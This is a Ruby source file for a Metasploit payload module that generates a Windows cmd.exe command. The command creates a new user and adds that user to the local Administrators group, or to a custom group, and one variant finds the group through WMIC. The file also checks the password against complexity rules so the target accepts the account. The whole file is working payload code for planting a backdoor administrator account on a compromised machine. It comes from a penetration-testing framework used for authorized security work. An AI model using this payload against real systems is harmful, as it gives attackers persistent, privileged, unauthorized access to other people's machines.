1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 97
8

9
  include Msf::Payload::Single
10
  include Msf::Sessions::CommandShellOptions
11

12
  def initialize(info = {})
13
    super(
14
      merge_info(
15
        info,
16
        'Name' => 'Windows Execute net user /ADD CMD',
17
        'Description' => %q{
18
          Create a new user and add them to local administration group.
19

20
          Note: The specified password is checked for common complexity
21
          requirements to prevent the target machine rejecting the user
22
          for failing to meet policy requirements.
23

24
          Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)
25
        },
26
        'Author' => ['hdm', 'scriptjunkie', 'Chris John Riley'],
27
        'License' => MSF_LICENSE,
28
        'Platform' => 'win',
29
        'Arch' => ARCH_CMD,
30
        'Handler' => Msf::Handler::None,
31
        'Session' => Msf::Sessions::CommandShell,
32
        'PayloadType' => 'cmd',
33
        'RequiredCmd' => 'generic',
34
        'Payload' => {
35
          'Offsets' => {},
36
          'Payload' => ''
37
        }
38
      )
39
    )
40

41
    register_options(
42
      [
43
        OptString.new('USER', [ true, 'The username to create', 'metasploit' ]),
44
        OptString.new('PASS', [ true, 'The password for this user', 'Metasploit$1' ]),
45
        OptString.new('CUSTOM', [ false, 'Custom group name to be used instead of default', '' ]),
46
        OptBool.new('WMIC',	[ true, 'Use WMIC on the target to resolve administrators group', false ]),
47
      ]
48
    )
49

50
    register_advanced_options(
51
      [
52
        OptBool.new('COMPLEXITY', [ true, 'Check password for complexity rules', true ]),
53
      ]
54
    )
55
  end
56

57
  def generate(_opts = {})
58
    return super + command_string
59
  end
60

61
  def command_string
62
    user = datastore['USER'] || 'metasploit'
63
    pass = datastore['PASS'] || ''
64
    cust = datastore['CUSTOM'] || ''
65
    wmic = datastore['WMIC']
66
    complexity = datastore['COMPLEXITY']
67

68
    if (pass.length > 14)
69
      raise ArgumentError, 'Password for the adduser payload must be 14 characters or less'
70
    end
71

72
    if complexity && pass !~ (/\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/)
73
      raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"
74
    end
75

76
    if !cust.empty?
77
      print_status("Using custom group name #{cust}")
78
      return "cmd.exe /c net user #{user} #{pass} /ADD && " \
79
             "net localgroup \"#{cust}\" #{user} /ADD"
80
    elsif wmic
81
      print_status('Using WMIC to discover the administrative group name')
82
      return 'cmd.exe /c "FOR /F "usebackq tokens=2* skip=1 delims==" ' \
83
             "%G IN (`wmic group where sid^='S-1-5-32-544' get name /Value`); do " \
84
             'FOR /F "usebackq tokens=1 delims==" %X IN (`echo %G`); do ' \
85
             "net user #{user} #{pass} /ADD && " \
86
             "net localgroup \"%X\" #{user} /ADD\""
87
    else
88
      return "cmd.exe /c net user #{user} #{pass} /ADD && " \
89
             "net localgroup Administrators #{user} /ADD"
90
    end
91
  end
92
end
93

94